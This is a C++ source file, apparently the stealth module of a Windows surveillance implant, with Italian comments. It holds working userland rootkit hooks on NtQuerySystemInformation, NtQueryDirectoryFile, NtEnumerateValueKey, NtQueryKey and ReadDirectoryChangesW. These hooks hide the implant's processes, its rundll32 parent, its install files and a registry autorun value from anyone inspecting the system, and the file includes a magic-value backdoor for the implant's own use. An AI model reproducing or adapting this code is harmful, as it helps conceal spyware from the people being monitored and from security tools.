src/Hiding.cpp
#include <windows.h>
#include "Common.h"
#include "missing.h"
#include "Hooking.h"
#include "Hiding.h"
// -------------------------------- NtQuerySystemInformation -----------------------------------
NTSTATUS __stdcall H_NtQuerySystemInformationHook(void *data_param,
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
LONG SystemInformationLength,
PULONG ReturnLength)
{
BYTE *SPI_Offs;
SYSTEM_PROCESS_INFORMATION *Spi = NULL;
SYSTEM_PROCESS_INFORMATION *PrevSpi = NULL;
INIT_WRAPPER(H_NtQuerySystemInformation, NTSTATUS);
CALL_ORIGINAL_API(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (ret_code<0)
return ret_code;
SPI_Offs = (BYTE *)SystemInformation;
if (SystemInformationClass==SystemProcessInformation && SystemInformation) {
do {
Spi = (SYSTEM_PROCESS_INFORMATION *) SPI_Offs;
if ( SPI_Offs + sizeof(SYSTEM_PROCESS_INFORMATION) > (BYTE *) SystemInformation + SystemInformationLength )
break;
if ((DWORD)(Spi->UniqueProcessId)!=pData->pid &&
(DWORD)(Spi->ParentProcessId)!=pData->pid &&
(DWORD)(Spi->UniqueProcessId)!=pData->ppid)
PrevSpi = Spi;
else {
// Unlinka la struttura del nostro processo
if(PrevSpi)
PrevSpi->NextEntryOffset += Spi->NextEntryOffset;
// Se e' l'ultimo processo, termina la lista
if (Spi->NextEntryOffset == 0)
PrevSpi->NextEntryOffset = 0;
}
SPI_Offs += Spi->NextEntryOffset;
} while(Spi->NextEntryOffset);
}
return ret_code;
}
BOOL H_NtQuerySystemInformation_setup(H_NtQuerySystemInformationStruct *data)
{
DWORD parent_pid;
WCHAR *parent_name;
// Se fallisce non nasconde niente
data->pid = -1;
data->ppid = -1;
if (g_core_pid)
data->pid = g_core_pid; // Nascondera' il core e tutti i suoi figli (fra cui anche questo processo)
if (parent_pid = GetParentPid(g_core_pid)) { // Se il padre e' un rundll32, nasconde anche quello
parent_name = FindProc(parent_pid);
if (parent_name && !wcsicmp(parent_name, L"rundll32.exe"))
data->ppid = parent_pid;
SAFE_FREE(parent_name);
}
return TRUE;
}
// -------------------------------- NtQueryDirectoryFile -----------------------------------
NTSTATUS __stdcall H_NtQueryDirectoryFileHook(void *data_param,
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutinte,
PVOID ApcContext,
PVOID IoStausBlock,
BYTE *FileInformation,
ULONG FileInformationLength,
LONG FileInformationClass,
BOOL ReturnSingleEntry,
PVOID FileMask,
BOOL RestartScan)
{
DWORD b_len, jj;
DWORD *old_b_len = NULL;
BYTE *src;
WCHAR *file_name = NULL;
DWORD file_name_len = 0;
BOOL found = FALSE;
BOOL is_to_hide;
INIT_WRAPPER(H_NtQueryDirectoryFile, NTSTATUS)
CALL_ORIGINAL_API(FileHandle, Event, ApcRoutinte, ApcContext, IoStausBlock, FileInformation, FileInformationLength, FileInformationClass, ReturnSingleEntry, FileMask, RestartScan);
if(ret_code!=0 || FileInformationLength <= 0)
return ret_code;
if (FileInformationClass != FileDirectoryInformation &&
FileInformationClass != FileFullDirectoryInformation &&
FileInformationClass != FileBothDirectoryInformation &&
FileInformationClass != FileNamesInformation &&
FileInformationClass != FileIdBothDirInformation &&
FileInformationClass != FileIdFullDirectoryInformation)
return ret_code;
// Se e' attivo il crisis non effettua l'hiding
IF_ACTIVE_AGENT(PM_CRISISAGENT)
return ret_code;
src = FileInformation;
do {
// Tanto per tutte le strutture e' sempre la prima entry
b_len = ((FILE_DIRECTORY_INFORMATION *)src)->NextEntryOffset;
if (FileInformationClass == FileDirectoryInformation) {
file_name = (WCHAR *)(((FILE_DIRECTORY_INFORMATION *)src)->FileName);
file_name_len = (DWORD)(((FILE_DIRECTORY_INFORMATION *)src)->FileNameLength);
}
if (FileInformationClass == FileFullDirectoryInformation) {
file_name = (WCHAR *)(((FILE_FULL_DIRECTORY_INFORMATION *)src)->FileName);
file_name_len = (DWORD)(((FILE_FULL_DIRECTORY_INFORMATION *)src)->FileNameLength);
}
if (FileInformationClass == FileBothDirectoryInformation) {
file_name = (WCHAR *)(((FILE_BOTH_DIRECTORY_INFORMATION *)src)->FileName);
file_name_len = (DWORD)(((FILE_BOTH_DIRECTORY_INFORMATION *)src)->FileNameLength);
}
if (FileInformationClass == FileNamesInformation) {
file_name = (WCHAR *)(((FILE_NAMES_INFORMATION *)src)->FileName);
file_name_len = (DWORD)(((FILE_NAMES_INFORMATION *)src)->FileNameLength);
}
if (FileInformationClass == FileIdBothDirInformation) {
file_name = (WCHAR *)(((FILE_ID_BOTH_DIR_INFORMATION *)src)->FileName);
file_name_len = (DWORD)(((FILE_ID_BOTH_DIR_INFORMATION *)src)->FileNameLength);
}
if (FileInformationClass == FileIdFullDirectoryInformation) {
file_name = (WCHAR *)(((FILE_ID_FULL_DIR_INFORMATION *)src)->FileName);
file_name_len = (DWORD)(((FILE_ID_FULL_DIR_INFORMATION *)src)->FileNameLength);
}
file_name_len /= sizeof(WCHAR); // E' unicode
is_to_hide = FALSE;
for (jj=0; jj<HIDE_NAME_COUNT; jj++) {
IF_SAME_STRING(file_name, pData->name_to_hide[jj], file_name_len) {
is_to_hide = TRUE;
break;
}
}
// Vede se dobbiamo ricopiare questa entry
if (is_to_hide) {
if (old_b_len) {
*old_b_len += b_len;
// E' l'ultima entry
if (b_len == 0)
*old_b_len = 0;
} else {// E' la prima entry
FileInformationLength -= b_len;
if (FileInformationLength > 0) {
MMCPY(src, src+b_len, FileInformationLength);
src -= b_len; // Per compensare il + di dopo
}
}
} else {
found = TRUE;
old_b_len = &((FILE_DIRECTORY_INFORMATION *)src)->NextEntryOffset;
}
src += b_len;
} while(b_len!=0);
if (!found)
return 0xC000000F; // NO_SUCH_FILE
return ret_code;
}
BOOL H_NtQueryDirectoryFile_setup(H_NtQueryDirectoryFileStruct *data)
{
wcscpy(data->name_to_hide[0], g_directory_name);
wcscpy(data->name_to_hide[1], g_installer_name);
wcscpy(data->name_to_hide[2], L"efi_installer.exe");
return TRUE;
}
// -------------------------------- NtEnumerateValueKey -----------------------------------
NTSTATUS __stdcall H_NtEnumerateValueKeyHook(void *data_param,
HANDLE KeyHandle,
ULONG Index,
LONG KeyValueInformationClass,
PVOID KeyValueInformation,
ULONG Length,
PULONG ResultLength)
{
WCHAR *value_name;
BOOL loop;
BOOL backdoor;
DWORD t_index = 0;
DWORD r_index;
DWORD found = 0;
DWORD information_class;
DWORD name_len;
INIT_WRAPPER(H_NtEnumerateValueKey, NTSTATUS)
// Backdoor! Mettendo information_class == 0xABADC0DE
// non viene nascosta la chiave (usata per il wrapper
// di enumerazione).
if (KeyValueInformationClass == BACKDOOR_CODE) {
backdoor = TRUE;
KeyValueInformationClass = 0;
} else
backdoor = FALSE;
r_index = Index;
information_class = KeyValueInformationClass;
do {
loop = FALSE;
KeyValueInformationClass = 0;
Index = t_index;
CALL_ORIGINAL_API(KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
// If success. RIndex e' quello richiesto.
if ((*ResultLength)>0 && ret_code==0) {
value_name = (WCHAR *)(((KEY_VALUE_BASIC_INFORMATION *)KeyValueInformation)->Name);
name_len = (DWORD)(((KEY_VALUE_BASIC_INFORMATION *)KeyValueInformation)->NameLength);
name_len /= sizeof(WCHAR); // E' in unicode
// Se non e' la chiave da nascondere o e' richiamata come
// backdoor, incrementa il numero delle chiavi da far vedere.
found++;
IF_SAME_STRING(value_name, pData->name_to_hide, name_len)
if (!backdoor)
found--;
if (found <= r_index) {
t_index++;
loop = TRUE;
}
}
} while(loop);
KeyValueInformationClass = information_class;
CALL_ORIGINAL_API(KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
return ret_code;
}
BOOL H_NtEnumerateValueKey_setup(H_NtEnumerateValueKeyStruct *data)
{
wcscpy(data->name_to_hide, g_registry_key_name);
return TRUE;
}
// -------------------------------- NtQueryKey -----------------------------------
NTSTATUS __stdcall H_NtQueryKeyHook(void *data_param,
HANDLE KeyHandle,
LONG KeyInformationClass,
PVOID KeyInformation,
ULONG Length,
PULONG Resultlength)
{
DWORD index;
BYTE local_key_struct[512];
KEY_FULL_INFORMATION *full_info;
KEY_STR_INFORMATION *str_info;
WCHAR *value_name;
DWORD name_len;
BOOL found = FALSE;
DWORD ret_value;
DWORD ret_len;
INIT_WRAPPER(H_NtQueryKey, NTSTATUS)
// Cerca di vedere se in questa chiave c'e' il
// valore da nascondere
for (index=0;;index++) {
ret_value = pData->pNtEnumerateValueKey(KeyHandle, index, BACKDOOR_CODE, (KEY_VALUE_BASIC_INFORMATION *)local_key_struct, sizeof(local_key_struct), &ret_len);
if (ret_len==0 || ret_value!=0)
break;
value_name = (WCHAR *)(((KEY_VALUE_BASIC_INFORMATION *)local_key_struct)->Name);
name_len = (DWORD)(((KEY_VALUE_BASIC_INFORMATION *)local_key_struct)->NameLength);
name_len /= sizeof(WCHAR); // E' in unicode
IF_SAME_STRING(value_name, pData->name_to_hide, name_len)
found = TRUE;
}
CALL_ORIGINAL_API(KeyHandle, KeyInformationClass, KeyInformation, Length, Resultlength);
// Se ha trovato il valore, e il tipo di informazione richiesto e' FULL_INFO e
// c'e' il puntatore alla strutura FULL_INFO e il buffer la contiene tutta
// diminuisce di 1 il numero di valori (se e' maggiore di 0), indipendentemente
// dal valore di ritorno.
full_info = (KEY_FULL_INFORMATION *)KeyInformation;
if (found && KeyInformationClass==KeyFullInformation && full_info && Length>=36)
if (full_info->Values > 0)
full_info->Values--;
// Valore non definito normalmente, ma usato da RegAlyzer
str_info = (KEY_STR_INFORMATION *)KeyInformation;
if (found && KeyInformationClass==4 && str_info && Length>=24)
if (str_info->Values > 0)
str_info->Values--;
return ret_code;
}
BOOL H_NtQueryKey_setup(H_NtQueryKeyStruct *data)
{
HMODULE hMod;
VALIDPTR(hMod = GetModuleHandle("NTDLL.DLL"))
VALIDPTR(data->pNtEnumerateValueKey = (H_NtEnumerateValueKey_t)GetProcAddress(hMod, "NtEnumerateValueKey"))
wcscpy(data->name_to_hide, g_registry_key_name);
return TRUE;
}
// -------------------------------- ReadDirectoryChanges
DEFAULT_SETUP_FUNC(H_ReadDirectoryChangesW)
BOOL __stdcall H_ReadDirectoryChangesWHook(void *data_param,
HANDLE hDirectory,
LPVOID lpBuffer,
DWORD nBufferLength,
BOOL bWatchSubtree,
DWORD dwNotifyFilter,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped,
LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
DWORD local_notify_filter;
INIT_WRAPPER(H_ReadDirectoryChangesW, BOOL)
local_notify_filter = dwNotifyFilter & (~0x10);
CALL_ORIGINAL_API(hDirectory, lpBuffer, nBufferLength, bWatchSubtree, local_notify_filter, lpBytesReturned, lpOverlapped, lpCompletionRoutine);
return ret_code;
}